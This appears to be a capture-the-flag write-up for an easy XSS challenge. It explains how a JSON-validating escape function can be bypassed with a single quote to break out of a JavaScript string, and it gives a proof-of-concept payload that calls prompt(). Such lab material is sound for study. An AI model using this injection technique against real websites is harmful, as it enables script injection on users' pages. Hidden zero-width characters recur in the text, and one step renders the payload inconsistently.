Medium 3 - JSON Injection XSS

Platform: web-kids20 | Category: Web | Type: Challenge | Difficulty: Easy | OS: NA | Author: XESXOR | Date: 2026-03-09 | Status: Solved Techniques: json_injection_xss, js_string_breakout

Summary

XSS challenge from the sibearsxss series. Input must be valid JSON (validated via JSON.parse), then inserted into a JavaScript string inside single quotes.

Medium 3 - JSON Injection XSS — Web Kids 2.0

Description

XSS challenge from the sibearsxss series. Input must be valid JSON (validated via JSON.parse), then inserted into a JavaScript string inside single quotes.

URL: http://109.233.56.90:11659/xss/medium/3

Analysis

Escape function:

 js read-only • copy allowed Copy
var isJSON = function(s) {
  try { var json = JSON.parse(s); return typeof json !== 'object' ? false : true; } catch(e) { return false; }
};
function escape(s) {
  return s = isJSON(s) ? '<script> var foo = \'' + s + '\'; </script>' : '';
}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Logic breakdown:

1. isJSON(s) — checks that input parses as JSON and is an object
2. If valid JSON object, it's inserted into: var foo = ' + s + ';
3. If not JSON — returns empty string

Vulnerability: JSON can contain single quotes inside string values. When JSON is inserted into a JS string with single quotes, these quotes close the JS string.

Example:

• Input: {"a":"'"}
• Valid JSON: ✓
• After insertion: var foo = '{"a":"'"}';
• Single quote from JSON closes the foo string ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Create valid JSON that contains a single quote to break out of the JS string:

Payload:

 json read-only • copy allowed Copy
{"a":"';prompt('sibears')//"}

How it works:

1. JSON.parse('{"a":"\'";prompt(\'sibears\')//"}') — valid JSON ✓
2. typeof json === 'object' — true ✓
3. After insertion into template:

    js read-only • copy allowed Copy
   var foo = '{"a":"';prompt('sibears')//"}';

4. Breakdown:
   • var foo = '{"a":"' — string {"a":"
   • ; — end of statement
   • prompt('sibears') — XSS executes
   • //"}'; — commented out ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍